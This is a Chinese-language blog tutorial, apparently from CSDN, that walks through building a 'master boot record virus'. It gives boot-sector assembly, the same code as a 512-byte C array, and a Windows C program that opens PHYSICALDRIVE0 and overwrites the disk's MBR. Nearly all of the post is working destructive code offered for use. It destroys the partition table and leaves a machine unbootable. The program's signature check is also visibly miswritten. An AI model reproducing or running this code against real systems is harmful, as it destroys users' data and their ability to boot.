手把手带你做一个主引导记录病毒

最新推荐文章于 2022-04-03 16:51:49 发布

谭敬帅

最新推荐文章于 2022-04-03 16:51:49 发布

阅读量348

点赞数

分类专栏： C

本文链接：https://blog.csdn.net/weixin_45007581/article/details/99568807

版权

C 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

所需程序：nasm(将汇编文件编译为bin文件),CFF_Explorer(提取16进制码),C语言编译器(编译写的主引导记录程序)

汇编源码(网上找的):

org 07c00h ; 告诉编译器程序加载到 7c00处   
    mov ax, cs   
    mov ds, ax   
    mov es, ax                       
    call DispStr ; 调用显示字符串例程   
    jmp $ ; 无限循环   

DispStr:   
    mov ax, BootMessage   
    mov bp, ax ; es:bp = 串地址   
    mov cx, 16 ; cx = 串长度   
    mov ax, 01301h ; ah = 13, al = 01h   
    mov bx, 000ch ; 页号为 0(bh = 0) 黑底红字(bl = 0Ch,高亮)   
    mov dl, 0   
    int 10h ; 10h 号中断   
    ret   

BootMessage:   
    db "tanjingshuai"   
    times 510-($-$$) db 0 ; 填充剩下的空间，使生成的二进制代码恰好为   
    dw 0xaa55 ; 结束标志

请将倒数第三行的tanjingshuai改为你要显示的内容。
用命令nasm (源文件名).asm -o (要保存的文件名).bin。
这时候你已经有了一个.bin文件了。
用CFF_Explorer打开输出的bin文件点下H开头的分支,这就是我们要的东西。
如图：
显示的16进制码
这时候将这些16进制码转换成下面格式:

char temp[512] =
{
0x8C,0xC8,0x8E,0xD8,0x8E,0xC0,0xE8,0x02,0x00,0xEB,0xFE,0xB8,0x1E,0x7C,0x89,0xC5,0xB9,0x10,0x00,0xB8,
0x01,0x13,0xBB,0x0C,0x00,0xB2,0x00,0xCD,0x10,0xC3,0x74,0x61,0x6E,0x6A,0x69,0x6E,0x67,0x73,0x68,0x75,
0x61,0x69,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,0x55,0xAA
};

接下来用程序写入MBR。
源代码:

#include <windows.h>

char temp[512] =
{
0x8C,0xC8,0x8E,0xD8,0x8E,0xC0,0xE8,0x02,0x00,0xEB,0xFE,0xB8,0x1E,0x7C,0x89,0xC5,0xB9,0x10,0x00,0xB8,
0x01,0x13,0xBB,0x0C,0x00,0xB2,0x00,0xCD,0x10,0xC3,0x74,0x61,0x6E,0x6A,0x69,0x6E,0x67,0x73,0x68,0x75,
0x61,0x69,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,0x55,0xAA
};
int main()
{
	WriteMBR(temp);
	return 0;
}
int WriteMBR(char MBRcode[512])
{
	if (MBRcode[510] == '0x55' || MBRcode[511] == '0xAA')
	{
		return -1;
	}
	HANDLE hFile;
	DWORD dwReadSize, dwBytesReturned;
	hFile = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		return 0;
	}
	DeviceIoControl(hFile, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
	WriteFile(hFile, MBRcode, 512, &dwReadSize, NULL);
	DeviceIoControl(hFile, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
	CloseHandle(hFile);
	return 1;
}

用虚拟机运行,运行结果：
写入MBR后的界面

谭敬帅

关注

0
点赞
踩
3

收藏

觉得还不错? 一键收藏
0
评论
手把手带你做一个主引导记录病毒

所需程序：nasm(将汇编文件编译为bin文件),CFF_Explorer(提取16进制码),C语言编译器(编译写的主引导记录程序)汇编源码(网上找的):org 07c00h ; 告诉编译器程序加载到 7c00处 mov ax, cs mov ds, ax mov es, ax call DispS...
复制链接

扫一扫